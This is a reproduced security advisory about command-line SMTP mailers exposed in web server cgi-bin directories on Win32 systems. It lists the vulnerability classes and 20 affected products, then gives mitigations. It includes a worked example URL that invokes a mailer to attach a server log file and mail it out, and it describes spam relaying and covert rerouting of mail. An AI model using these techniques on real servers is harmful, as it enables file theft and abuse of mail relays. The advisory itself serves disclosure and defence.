COMMAND
SMTP Command-Line Mailers on Win32 Web Servers
SYSTEMS AFFECTED
SMTP Command-Line Mailers on Win32 Web Servers
PROBLEM
Following is based on a Xato Network Security Advisory
XATO-122000-01. The majority of the command-line SMTP mailers
available for Win32-based systems are vulnerable when used to
send mail from a web server. The vulnerabilities found include
the ability to:
- Read and/or write to the server's file system;
- Retrieve files from the server's file system as mail attachments;
- Bounce and/or spoof e-mail messages;
- Spam, flood, mail bomb, or otherwise use a server's resources
without authorization;
- Bounce off a server to perform port scans;
- Bounce off a server to perform brute-force attacks to POP and/or
SMTP accounts;
- Change default mailer options to route all e-mails through an
untrusted mail server;
- Discover information about the server and/or company, including
physical paths, e-mail addresses, and environment variables;
- Perform a number of DoS attacks on a server as well as using
the server to perform DoS attacks towards other systems;
- View logs of e-mail messages and mailer configuration files.
The vulnerabilities found range from very minor to very serious
and immediate attention should be given if using a command-line
SMTP mailer.
Although these vulnerabilities are obvious to many and similar
holes have been found in mailers on other platforms, peple at
Xato felt that it was an issue that needed to be addressed because
of the widespread usage of these tools. In their research they
found that many web servers are using these command-line mailers.
They are even included in several e-commerce applications and
many web hosting companies recommend their use. Furthermore,
some of these web-hosting companies go so far as to create
documentation explaining how to set up the mailers in such a
manner that makes them even more vulnerable.
Xato started this research on one mailer and were about to release
an advisory when we thought that perhaps we should look into some
of the other mailers out their. To their dismay, they found that
the majority of them had one or more vulnerabilities. As the
number of mailers on our list grew, they faced the dilemma of how
to approach this. They did not want to release twenty different
advisories nor did they want to make one large advisory that
included all our research. They also did not want to have to
wait for and coordinate twenty companies to get around to
releasing patches before we released an official advisory.
Therefore they decided that their best approach would be to
address the issue in a general manner and leave it up to the
individual vendors to take the responsibility of fixing their own
products. Xato hopes that this advisory serves as a lesson for
both developers and web admins about using DOS applications on
web servers.
As mentioned before, this is a vulnerability that may seem obvious
and some of the individual problems in specific mailers have been
addressed but Xato thought this should officially be documented
because people sometimes do not fix things unless they are told
specifically what to fix. Xato hopes that this information will
be integrated into vulnerability scanners as well as intrusion
detection systems so that administrators are better educated in
these and similar security risks. They expect to follow up this
advisory with additional details about specific vulnerabilities.
They will not go into many exploit details with particular
command-line mailers now because there are so many exploits for
so many of the mailers.
A command-line mailer can be an extremely useful and time-saving
administrative tool. However, although many of them were designed
to be used with a web server, most of them do not follow safe
practices making them a great security risk. The basic problem
lies in the fact that they are usually just plain old DOS
applications. You can stick just about any non-interactive DOS
application into an executable directory on a web server and run
it remotely. The problem is that most DOS applications do not
realize or even care that they are being run from a web server
and so therefore they behave exactly as if they were run locally
from a command prompt.
For example, if you had a mailer named mailer.exe and you placed
that file in your cgi-bin directory on your web site, any visitor
to your site would be able to run that application by entering
the url:
http://yourserver/cgi-bin/mailer.exe
Now suppose that by executing "mailer.exe -h" from a command
prompt the user could view a list of options. The same thing can
be executed from the web by entering the url:
http://yourserver/cgi-bin/mailer.exe?-h
The resulting text sent to the browser would be the same list of
options that can be seen from the command prompt. To the mailer,
there is no difference in being run from a command prompt as
being run from a web server.
Many web sites have some sort of feedback, technical support, or
order form that allows users to enter data which is then compiled
into an e-mail and sent to the right person at that site. It is
a convenience for the visitor as well as the web site operator.
It is very common to simply use one of the many freely available
command-line mailers to accomplish this task. Many of the
mailers have CGI interfaces and some are solely designed for web
use. Most of them depend on the data sent from the form or
supplied through a server-side script. But most of the time the
mailer executable is located right in the web in a directory with
execute permissions. Anyone can simply bypass the web form and
run the mailer directly with the desired command-line arguments.
Now suppose that an attacker runs the command-line mailer with
the help switch and discovers that there are options to specify
who the mail is from (-f), who it is to (-t), and attachment
(-a). So in our example, one could send an e-mail from the
command line using the following command:
mailer.exe -f joe@example.com -t me@example.com -a c:\logs\web.log
This same command can be run from the server by using the
following command:
http://yourserver/cgi-bin/mailer.exe?-f%20joe@example.com%20-t%20me@example.com%20-a%20c:\logs\web.log
This command will mail you the file named web.log. Most
command-line mailers allow you to specify a recipient and a file
attachment, allowing anyone on the internet to grab any file that
the web server has access to.
Looking at the options available for all the command-line mailers,
we found a number of great features that also introduced a number
of security holes. For example, one mailer allows the message
to be sent to a file instead of a mail recipient. This is a very
dangerous feature as it would allow one to create a batch file in
the same directory as the mailer executable. Since this directory
is marked executable, the batch file can be run from the web
browser as well. Many of the mailers required that the web
directory be marked executable, readable, and writeable. All of
these things together make a very bad mixture. Another problem
with sending to a file is the ability to send data to other DOS
devices such as printers, modems, COM ports, etc.
Most of the mailers also allow one to specify the recipient as
well as the sender, allowing any one to use the server for spam,
flooding, mail bombing, resource draining, mail spoofing, denial
of service, etc.
Other problems include INI and log files in the same directory as
the mailer, command-line options that override the default
settings, the ability to modify hidden form variables to exploit
the mailer, debug modes that reveal server information, and the
ability to queue (and unqueue) messages. One interesting attack
we noticed with several mailers is that one can set the server
defaults from the command-line interface. By routing all mail
through an external SMTP mailer with full logging turned on, one
could easily spy on all mail sent through the utility. Such an
attack could easily go for a very long time unnoticed.
In short, we did not find a single command-line mailer that was
secure enough for us to recommend using on a web server. Many
have made feeble attempts to secure their products, but are not
complete and have overlooked many of the less serious yet still
important vulnerabilities. To make things worse, many users
configure or use the mailers in such a way to amplify the effects
of the vulnerabilities. Some of these utilities were never even
designed for web use and therefore many of these security issues
were never even considered. On the other hand, some developers
have added some very good security features but they are either
not enough or they are not turned on by default. And finally,
many web sites operators are using older versions of utilities
that do not contain more recent security fixes.
Xato tested the following mailers and found all of them vulnerable
to one or more holes:
Title Web Site
---------------------------------------------------------------------------
BatMail v1.8d http://www.on3.com/tools/nt/mailexe/
Blat v1.85h http://pages.infinit.net/che/blat/blat.html
CGIMail v2.5 http://www.nsiweb.com/cgisoftware/cgimail
CLEMAIL v1.3 http://sureshot.virtualave.net/clemail
Comments v1.7 http://www.greyware.com
FormVar v1.61 http://www.cgimachine.de
GBMail v2.02 http://gboban.hypermart.net
MailForm v1.96 http://www.lss.com.au
MailMe! v1.6 http://www.arclab.com
MailPost v5.1 http://www.mcenter.com/mailpost
MailSend v7.15 http://www.radiks.net/jimbo/share.html
MailSend v3.18 http://www.dataenter.co.at
NetFormDD v2.9 http://www.seedlingsoft.com
Postie v6 http://www.infradig.com
SendFile v1.0 http://www.tntsoftware.com
Stalkerlab's Mailers V1.2 http://www.stalkerlab.ch/SMailers
WindMail v3.05 http://www.geocel.com
WebMailer Pro v1.2 http://www.geocel.com
WebMailer Lite v1.2 http://www.geocel.com
wSendmail v1.5 http://www.jgaa.com/
Please note that this list is by no means complete and it only
represents those that we actually tested. Not being on this list
does not mean that a mailer is safe. Also note that Xato has
only evaluated executable programs and have not even explored the
many scripts and com objects available. Most of these vendors
have not been contacted other than receiving this advisory.
SOLUTION
The problem with these utilities is that there is no really good
solution for fixing many of them unless the developers make some
major changes to how they work. The best interim solution may be
to call the mailers from a script and keep the actual executable
out of the web root. This will not work for all the programs or
for all situations. Keep in mind that some of these mailers have
only minor problems while others have some very serious holes.
The best solution is to look at how the mailer handles
command-line options and other user input and work with the
developer to establish a good strategy for using the mailer on
your web site. You should also carefully read the mailer's help
file and any supporting documentation.
Another solution is to use a COM-based dll for sending e-mails.
Generally they are more secure much of the burden of keeping them
secure is on the web developer. A very weak but possible interim
solution until you can fix things is to rename the mailer
executable and change the standard defaults.
So far, only Greyware (Comments) reacted. They have addressed
issues found.